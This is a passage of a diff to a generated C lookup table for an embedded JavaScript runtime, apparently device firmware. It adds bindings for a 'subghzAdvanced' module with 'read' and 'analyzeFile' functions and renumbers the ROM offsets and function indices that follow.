+  JS_ROM_VALUE(1548) /* deleteSprite */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 324),
+  (51 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_SPRITE - 1) << 1,
   (48 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4201) */
+  /* class (offset=4227) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4082),
-  320,
-  JS_ROM_VALUE(4089),
+  JS_ROM_VALUE(4108),
+  322,
+  JS_ROM_VALUE(4115),
   JS_NULL,
 
-  /* properties (offset=4206) */
+  /* properties (offset=4232) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4507,59 +4536,59 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_TEXTVIEWER << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4213) */
+  /* properties (offset=4239) */
   JS_VALUE_ARRAY_HEADER(43),
   11 << 1, /* n_props */
   7 << 1, /* hash_mask */
-  0 << 1,
   34 << 1,
-  37 << 1,
+  31 << 1,
   0 << 1,
   0 << 1,
   22 << 1,
+  37 << 1,
   40 << 1,
   0 << 1,
-  JS_ROM_VALUE(1548) /* draw */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 324),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1551) /* scrollUp */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 325),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1555) /* scrollDown */,
+  JS_ROM_VALUE(1557) /* draw */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 326),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1559) /* scrollToLine */,
+  JS_ROM_VALUE(1560) /* scrollUp */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 327),
-  (13 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1564) /* getLine */,
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1564) /* scrollDown */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 328),
-  (10 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1567) /* getMaxLines */,
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1568) /* scrollToLine */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 329),
-  (19 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1571) /* getVisibleText */,
+  (13 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1573) /* getLine */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 330),
-  (16 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1320) /* clear */,
+  (10 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1576) /* getMaxLines */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 331),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1576) /* setText */,
+  (19 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1580) /* getVisibleText */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 332),
-  (31 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1579) /* close */,
+  (16 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1320) /* clear */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 333),
+  (25 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1585) /* setText */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 334),
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1588) /* close */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 335),
   (28 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_TEXTVIEWER - 1) << 1,
-  (25 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4257) */
+  (0 << 1) | (JS_PROP_SPECIAL << 30),
+  /* class (offset=4283) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4206),
-  323,
-  JS_ROM_VALUE(4213),
+  JS_ROM_VALUE(4232),
+  325,
+  JS_ROM_VALUE(4239),
   JS_NULL,
 
-  /* properties (offset=4262) */
+  /* properties (offset=4288) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
@@ -4567,258 +4596,260 @@ static const uint32_t __attribute((aligned(64))) js_stdlib_table[] = {
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_GIF << 1,
   (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4269) */
+  /* properties (offset=4295) */
   JS_VALUE_ARRAY_HEADER(21),
   5 << 1, /* n_props */
   3 << 1, /* hash_mask */
-  9 << 1,
   6 << 1,
+  0 << 1,
   18 << 1,
-  15 << 1,
-  JS_ROM_VALUE(1584) /* gifPlayFrame */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 335),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1589) /* gifDimensions */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 336),
-  (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1594) /* gifReset */,
+  9 << 1,
+  JS_ROM_VALUE(1593) /* gifPlayFrame */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 337),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  JS_ROM_VALUE(1598) /* gifClose */,
+  JS_ROM_VALUE(1598) /* gifDimensions */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 338),
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1603) /* gifReset */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 339),
+  (0 << 1) | (JS_PROP_NORMAL << 30),
+  JS_ROM_VALUE(1607) /* gifClose */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 340),
   (12 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_GIF - 1) << 1,
-  (0 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4291) */
+  (15 << 1) | (JS_PROP_SPECIAL << 30),
+  /* class (offset=4317) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4262),
-  334,
-  JS_ROM_VALUE(4269),
+  JS_ROM_VALUE(4288),
+  336,
+  JS_ROM_VALUE(4295),
   JS_NULL,
 
-  /* properties (offset=4296) */
+  /* properties (offset=4322) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
   6 << 1,
-  JS_ROM_VALUE(1605) /* from */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 340),
+  JS_ROM_VALUE(1614) /* from */,
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 342),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(179) /* prototype */,
   JS_CLASS_BUFFER << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* properties (offset=4306) */
+  /* properties (offset=4332) */
   JS_VALUE_ARRAY_HEADER(9),
   2 << 1, /* n_props */
   0 << 1, /* hash_mask */
   6 << 1,
   JS_ROM_VALUE(136) /* toString */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 341),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 343),
   (0 << 1) | (JS_PROP_NORMAL << 30),
   JS_ROM_VALUE(183) /* constructor */,
   (uint32_t)(-JS_CLASS_BUFFER - 1) << 1,
   (3 << 1) | (JS_PROP_SPECIAL << 30),
-  /* class (offset=4316) */
+  /* class (offset=4342) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4296),
-  339,
-  JS_ROM_VALUE(4306),
+  JS_ROM_VALUE(4322),
+  341,
+  JS_ROM_VALUE(4332),
   JS_NULL,
 
-  /* properties (offset=4321) */
+  /* properties (offset=4347) */
   JS_VALUE_ARRAY_HEADER(6),
   1 << 1, /* n_props */
   0 << 1, /* hash_mask */
   3 << 1,
-  JS_ROM_VALUE(1528) /* TimersState */,
-  JS_ROM_VALUE(4077),
+  JS_ROM_VALUE(1537) /* TimersState */,
+  JS_ROM_VALUE(4103),
   (0 << 1) | (JS_PROP_NORMAL << 30),
-  /* class (offset=4328) */
+  /* class (offset=4354) */
   JS_MB_HEADER_DEF(JS_MTAG_OBJECT),
-  JS_ROM_VALUE(4321),
+  JS_ROM_VALUE(4347),
   -1,
   JS_NULL,
   JS_NULL,
 
-  /* global object properties (offset=4333) */
-  JS_VALUE_ARRAY_HEADER(176),
+  /* global object properties (offset=4359) */
+  JS_VALUE_ARRAY_HEADER(178),
   JS_ROM_VALUE(224) /* Object */,
-  JS_ROM_VALUE(2102),
+  JS_ROM_VALUE(2113),
   JS_ROM_VALUE(259) /* Function */,
-  JS_ROM_VALUE(2154),
+  JS_ROM_VALUE(2165),
   JS_ROM_VALUE(290) /* Number */,
-  JS_ROM_VALUE(2249),
+  JS_ROM_VALUE(2260),
   JS_ROM_VALUE(348) /* Boolean */,
-  JS_ROM_VALUE(2268),
+  JS_ROM_VALUE(2279),
   JS_ROM_VALUE(351) /* String */,
-  JS_ROM_VALUE(2375),
+  JS_ROM_VALUE(2386),
   JS_ROM_VALUE(433) /* Array */,
-  JS_ROM_VALUE(2484),
+  JS_ROM_VALUE(2495),
   JS_ROM_VALUE(486) /* Math */,
-  JS_ROM_VALUE(2643),
+  JS_ROM_VALUE(2654),
   JS_ROM_VALUE(589) /* Date */,
-  JS_ROM_VALUE(2665),
+  JS_ROM_VALUE(2676),
   JS_ROM_VALUE(594) /* JSON */,
-  JS_ROM_VALUE(2680),
+  JS_ROM_VALUE(2691),
   JS_ROM_VALUE(604) /* RegExp */,
-  JS_ROM_VALUE(2726),
+  JS_ROM_VALUE(2737),
   JS_ROM_VALUE(208) /* Error */,
-  JS_ROM_VALUE(2766),
+  JS_ROM_VALUE(2777),
   JS_ROM_VALUE(655) /* EvalError */,
-  JS_ROM_VALUE(2788),
+  JS_ROM_VALUE(2799),
   JS_ROM_VALUE(659) /* RangeError */,
-  JS_ROM_VALUE(2810),
+  JS_ROM_VALUE(2821),
   JS_ROM_VALUE(663) /* ReferenceError */,
-  JS_ROM_VALUE(2832),
+  JS_ROM_VALUE(2843),
   JS_ROM_VALUE(668) /* SyntaxError */,
-  JS_ROM_VALUE(2854),
+  JS_ROM_VALUE(2865),
   JS_ROM_VALUE(672) /* TypeError */,
-  JS_ROM_VALUE(2876),
+  JS_ROM_VALUE(2887),
   JS_ROM_VALUE(676) /* URIError */,
-  JS_ROM_VALUE(2898),
+  JS_ROM_VALUE(2909),
   JS_ROM_VALUE(680) /* InternalError */,
-  JS_ROM_VALUE(2920),
+  JS_ROM_VALUE(2931),
   JS_ROM_VALUE(685) /* ArrayBuffer */,
-  JS_ROM_VALUE(2945),
+  JS_ROM_VALUE(2956),
   JS_ROM_VALUE(698) /* Uint8ClampedArray */,
-  JS_ROM_VALUE(3035),
+  JS_ROM_VALUE(3046),
   JS_ROM_VALUE(734) /* Int8Array */,
-  JS_ROM_VALUE(3060),
+  JS_ROM_VALUE(3071),
   JS_ROM_VALUE(738) /* Uint8Array */,
-  JS_ROM_VALUE(3085),
+  JS_ROM_VALUE(3096),
   JS_ROM_VALUE(742) /* Int16Array */,
-  JS_ROM_VALUE(3110),
+  JS_ROM_VALUE(3121),
   JS_ROM_VALUE(746) /* Uint16Array */,
-  JS_ROM_VALUE(3135),
+  JS_ROM_VALUE(3146),
   JS_ROM_VALUE(750) /* Int32Array */,
-  JS_ROM_VALUE(3160),
+  JS_ROM_VALUE(3171),
   JS_ROM_VALUE(754) /* Uint32Array */,
-  JS_ROM_VALUE(3185),
+  JS_ROM_VALUE(3196),
   JS_ROM_VALUE(758) /* Float32Array */,
-  JS_ROM_VALUE(3210),
+  JS_ROM_VALUE(3221),
   JS_ROM_VALUE(763) /* Float64Array */,
-  JS_ROM_VALUE(3235),
+  JS_ROM_VALUE(3246),
   JS_ROM_VALUE(293) /* parseInt */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 20),
   JS_ROM_VALUE(297) /* parseFloat */,
   JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 21),
   JS_ROM_VALUE(165) /* eval */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 342),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 344),
   JS_ROM_VALUE(768) /* isNaN */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 343),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 345),
   JS_ROM_VALUE(771) /* isFinite */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 344),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 346),
   JS_ROM_VALUE(197) /* Infinity */,
-  JS_ROM_VALUE(3240),
+  JS_ROM_VALUE(3251),
   JS_ROM_VALUE(195) /* NaN */,
-  JS_ROM_VALUE(3243),
+  JS_ROM_VALUE(3254),
   JS_ROM_VALUE(149) /* undefined */,
   JS_UNDEFINED,
   JS_ROM_VALUE(775) /* globalThis */,
   JS_NULL,
   JS_ROM_VALUE(779) /* console */,
-  JS_ROM_VALUE(3253),
+  JS_ROM_VALUE(3264),
   JS_ROM_VALUE(782) /* performance */,
-  JS_ROM_VALUE(3265),
+  JS_ROM_VALUE(3276),
   JS_ROM_VALUE(786) /* gc */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 345),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 347),
   JS_ROM_VALUE(788) /* load */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 346),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 348),
   JS_ROM_VALUE(791) /* setTimeout */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 347),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 349),
   JS_ROM_VALUE(795) /* clearTimeout */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 348),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 350),
   JS_ROM_VALUE(800) /* setInterval */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 349),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 351),
   JS_ROM_VALUE(804) /* clearInterval */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 350),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 352),
   JS_ROM_VALUE(809) /* exports */,
-  JS_ROM_VALUE(3274),
+  JS_ROM_VALUE(3285),
   JS_ROM_VALUE(812) /* assert */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 351),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 353),
   JS_ROM_VALUE(815) /* require */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 352),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 354),
   JS_ROM_VALUE(592) /* now */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 353),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 355),
   JS_ROM_VALUE(818) /* delay */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 354),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 356),
   JS_ROM_VALUE(555) /* random */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 355),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 357),
   JS_ROM_VALUE(821) /* parse_int */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 356),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 358),
   JS_ROM_VALUE(825) /* to_string */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 357),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 359),
   JS_ROM_VALUE(829) /* to_hex_string */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 358),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 360),
   JS_ROM_VALUE(834) /* to_lower_case */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 359),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 361),
   JS_ROM_VALUE(839) /* to_upper_case */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 360),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 362),
   JS_ROM_VALUE(844) /* atob */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 361),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 363),
   JS_ROM_VALUE(847) /* btoa */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 362),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 364),
   JS_ROM_VALUE(850) /* atob_bin */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 363),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 365),
   JS_ROM_VALUE(854) /* btoa_bin */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 364),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 366),
   JS_ROM_VALUE(858) /* exit */,
-  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 365),
+  JS_VALUE_MAKE_SPECIAL(JS_TAG_SHORT_FUNC, 367),
   JS_ROM_VALUE(861) /* audio */,
-  JS_ROM_VALUE(3289),
+  JS_ROM_VALUE(3300),
   JS_ROM_VALUE(871) /* badusb */,
-  JS_ROM_VALUE(3332),
+  JS_ROM_VALUE(3343),
   JS_ROM_VALUE(903) /* device */,
-  JS_ROM_VALUE(3368),
+  JS_ROM_VALUE(3379),
   JS_ROM_VALUE(944) /* display */,
-  JS_ROM_VALUE(3503),
+  JS_ROM_VALUE(3514),
   JS_ROM_VALUE(1097) /* dialog */,
-  JS_ROM_VALUE(3555),
+  JS_ROM_VALUE(3566),
   JS_ROM_VALUE(1141) /* gpio */,
-  JS_ROM_VALUE(3619),
+  JS_ROM_VALUE(3630),
   JS_ROM_VALUE(1216) /* i2c */,
-  JS_ROM_VALUE(3646),
+  JS_ROM_VALUE(3657),
   JS_ROM_VALUE(1234) /* ir */,
-  JS_ROM_VALUE(3668),
+  JS_ROM_VALUE(3679),
   JS_ROM_VALUE(1248) /* keyboard */,
-  JS_ROM_VALUE(3714),
+  JS_ROM_VALUE(3725),
   JS_ROM_VALUE(1292) /* notification */,
-  JS_ROM_VALUE(3726),
+  JS_ROM_VALUE(3737),
   JS_ROM_VALUE(1300) /* mic */,
-  JS_ROM_VALUE(3741),
+  JS_ROM_VALUE(3752),
   JS_ROM_VALUE(1311) /* rfid */,
-  JS_ROM_VALUE(3796),
+  JS_ROM_VALUE(3807),
   JS_ROM_VALUE(1353) /* runtime */,
-  JS_ROM_VALUE(3818),
+  JS_ROM_VALUE(3829),
   JS_ROM_VALUE(1374) /* serial */,
-  JS_ROM_VALUE(3845),
+  JS_ROM_VALUE(3856),
   JS_ROM_VALUE(1382) /* storage */,
-  JS_ROM_VALUE(3888),
+  JS_ROM_VALUE(3899),
   JS_ROM_VALUE(1409) /* subghz */,
-  JS_ROM_VALUE(3924),
-  JS_ROM_VALUE(1427) /* wifi */,
-  JS_ROM_VALUE(3960),
-  JS_ROM_VALUE(1460) /* ble */,
-  JS_ROM_VALUE(3979),
-  JS_ROM_VALUE(1471) /* nrf24 */,
-  JS_ROM_VALUE(4006),
-  JS_ROM_VALUE(1488) /* led */,
-  JS_ROM_VALUE(4028),
-  JS_ROM_VALUE(1496) /* menu */,
-  JS_ROM_VALUE(4058),
-  JS_ROM_VALUE(1528) /* TimersState */,
-  JS_ROM_VALUE(4077),
-  JS_ROM_VALUE(1532) /* Sprite */,
-  JS_ROM_VALUE(4201),
-  JS_ROM_VALUE(1544) /* TextViewer */,
-  JS_ROM_VALUE(4257),
-  JS_ROM_VALUE(1582) /* Gif */,
-  JS_ROM_VALUE(4291),
-  JS_ROM_VALUE(1602) /* Buffer */,
-  JS_ROM_VALUE(4316),
-  JS_ROM_VALUE(1608) /* __internal_functions */,
-  JS_ROM_VALUE(4328),
+  JS_ROM_VALUE(3935),
+  JS_ROM_VALUE(1427) /* subghzAdvanced */,
+  JS_ROM_VALUE(3950),
+  JS_ROM_VALUE(1436) /* wifi */,
+  JS_ROM_VALUE(3986),
+  JS_ROM_VALUE(1469) /* ble */,
+  JS_ROM_VALUE(4005),
+  JS_ROM_VALUE(1480) /* nrf24 */,
+  JS_ROM_VALUE(4032),
+  JS_ROM_VALUE(1497) /* led */,
+  JS_ROM_VALUE(4054),
+  JS_ROM_VALUE(1505) /* menu */,
+  JS_ROM_VALUE(4084),
+  JS_ROM_VALUE(1537) /* TimersState */,
+  JS_ROM_VALUE(4103),
+  JS_ROM_VALUE(1541) /* Sprite */,
+  JS_ROM_VALUE(4227),
+  JS_ROM_VALUE(1553) /* TextViewer */,
+  JS_ROM_VALUE(4283),
+  JS_ROM_VALUE(1591) /* Gif */,
+  JS_ROM_VALUE(4317),
+  JS_ROM_VALUE(1611) /* Buffer */,
+  JS_ROM_VALUE(4342),
+  JS_ROM_VALUE(1617) /* __internal_functions */,
+  JS_ROM_VALUE(4354),
 };
 
 static const JSCFunctionDef js_c_function_table[] = {
@@ -5701,149 +5732,155 @@ static const JSCFunctionDef js_c_function_table[] = {
   { { .generic = native_subghzTxEnd },
     JS_ROM_VALUE(1424) /* txEnd */,
     JS_CFUNC_generic, 0, 0 },
+  { { .generic = native_subghzAdvancedRead },
+    JS_ROM_VALUE(1227) /* read */,
+    JS_CFUNC_generic, 1, 0 },
+  { { .generic = native_subghzAdvancedAnalyzeFile },
+    JS_ROM_VALUE(1432) /* analyzeFile */,
+    JS_CFUNC_generic, 1, 0 },
   { { .generic = native_wifiConnected },
-    JS_ROM_VALUE(1430) /* connected */,
+    JS_ROM_VALUE(1439) /* connected */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_wifiConnectDialog },
-    JS_ROM_VALUE(1434) /* connectDialog */,
+    JS_ROM_VALUE(1443) /* connectDialog */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_wifiConnect },
-    JS_ROM_VALUE(1439) /* connect */,
+    JS_ROM_VALUE(1448) /* connect */,
     JS_CFUNC_generic, 3, 0 },
   { { .generic = native_wifiScan },
     JS_ROM_VALUE(1221) /* scan */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_wifiDisconnect },
-    JS_ROM_VALUE(1442) /* disconnect */,
+    JS_ROM_VALUE(1451) /* disconnect */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_httpFetch },
-    JS_ROM_VALUE(1446) /* httpFetch */,
+    JS_ROM_VALUE(1455) /* httpFetch */,
     JS_CFUNC_generic, 2, 0 },
   { { .generic = native_wifiMACAddress },
-    JS_ROM_VALUE(1450) /* getMACAddress */,
+    JS_ROM_VALUE(1459) /* getMACAddress */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_ipAddress },
-    JS_ROM_VALUE(1455) /* getIPAddress */,
+    JS_ROM_VALUE(1464) /* getIPAddress */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_bleScan },
     JS_ROM_VALUE(1221) /* scan */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_bleAdvertise },
-    JS_ROM_VALUE(1462) /* advertise */,
+    JS_ROM_VALUE(1471) /* advertise */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_bleStopAdvertise },
-    JS_ROM_VALUE(1466) /* stopAdvertise */,
+    JS_ROM_VALUE(1475) /* stopAdvertise */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_nrf24Begin },
     JS_ROM_VALUE(1218) /* begin */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_nrf24Send },
-    JS_ROM_VALUE(1474) /* send */,
+    JS_ROM_VALUE(1483) /* send */,
     JS_CFUNC_generic, 2, 0 },
   { { .generic = native_nrf24Receive },
-    JS_ROM_VALUE(1477) /* receive */,
+    JS_ROM_VALUE(1486) /* receive */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_nrf24SetChannel },
-    JS_ROM_VALUE(1480) /* setChannel */,
+    JS_ROM_VALUE(1489) /* setChannel */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_nrf24IsConnected },
-    JS_ROM_VALUE(1484) /* isConnected */,
+    JS_ROM_VALUE(1493) /* isConnected */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_ledSetColor },
-    JS_ROM_VALUE(1490) /* setColor */,
+    JS_ROM_VALUE(1499) /* setColor */,
     JS_CFUNC_generic, 3, 0 },
   { { .generic = native_ledSetBrightness },
     JS_ROM_VALUE(1086) /* setBrightness */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_ledOff },
-    JS_ROM_VALUE(1494) /* off */,
+    JS_ROM_VALUE(1503) /* off */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_ledBlink },
     JS_ROM_VALUE(1297) /* blink */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_menuShow },
-    JS_ROM_VALUE(1499) /* show */,
+    JS_ROM_VALUE(1508) /* show */,
     JS_CFUNC_generic, 2, 0 },
   { { .generic = native_menuShowMainBorder },
-    JS_ROM_VALUE(1502) /* showMainBorder */,
+    JS_ROM_VALUE(1511) /* showMainBorder */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_menuShowMainBorderWithTitle },
-    JS_ROM_VALUE(1507) /* showMainBorderWithTitle */,
+    JS_ROM_VALUE(1516) /* showMainBorderWithTitle */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_menuPrintTitle },
-    JS_ROM_VALUE(1514) /* printTitle */,
+    JS_ROM_VALUE(1523) /* printTitle */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_menuPrintSubtitle },
-    JS_ROM_VALUE(1518) /* printSubtitle */,
+    JS_ROM_VALUE(1527) /* printSubtitle */,
     JS_CFUNC_generic, 1, 0 },
   { { .generic = native_menuDisplayMessage },
-    JS_ROM_VALUE(1523) /* displayMessage */,
+    JS_ROM_VALUE(1532) /* displayMessage */,
     JS_CFUNC_generic, 1, 0 },
   { { .constructor = NULL },
-    JS_ROM_VALUE(1528) /* TimersState */,
+    JS_ROM_VALUE(1537) /* TimersState */,
     JS_CFUNC_constructor, 0, JS_CLASS_TIMERS_STATE },
   { { .constructor = native_createSprite },
-    JS_ROM_VALUE(1532) /* Sprite */,
+    JS_ROM_VALUE(1541) /* Sprite */,
     JS_CFUNC_constructor, 0, JS_CLASS_SPRITE },
   { { .generic = native_pushSprite },
-    JS_ROM_VALUE(1535) /* pushSprite */,
+    JS_ROM_VALUE(1544) /* pushSprite */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_deleteSprite },
-    JS_ROM_VALUE(1539) /* deleteSprite */,
+    JS_ROM_VALUE(1548) /* deleteSprite */,
     JS_CFUNC_generic, 0, 0 },
   { { .constructor = native_dialogCreateTextViewer },
-    JS_ROM_VALUE(1544) /* TextViewer */,
+    JS_ROM_VALUE(1553) /* TextViewer */,
     JS_CFUNC_constructor, 0, JS_CLASS_TEXTVIEWER },
   { { .generic = native_dialogCreateTextViewerDraw },
-    JS_ROM_VALUE(1548) /* draw */,
+    JS_ROM_VALUE(1557) /* draw */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_dialogCreateTextViewerScrollUp },
-    JS_ROM_VALUE(1551) /* scrollUp */,
+    JS_ROM_VALUE(1560) /* scrollUp */,
     JS_CFUNC_generic, 0, 0 },
   { { .generic = native_dialogCreateTextViewerScrollDown },
-    JS_ROM_VALUE(1555) /* scrollDown */,
+    JS_ROM_VALUE(1564) /* scrollDown */,
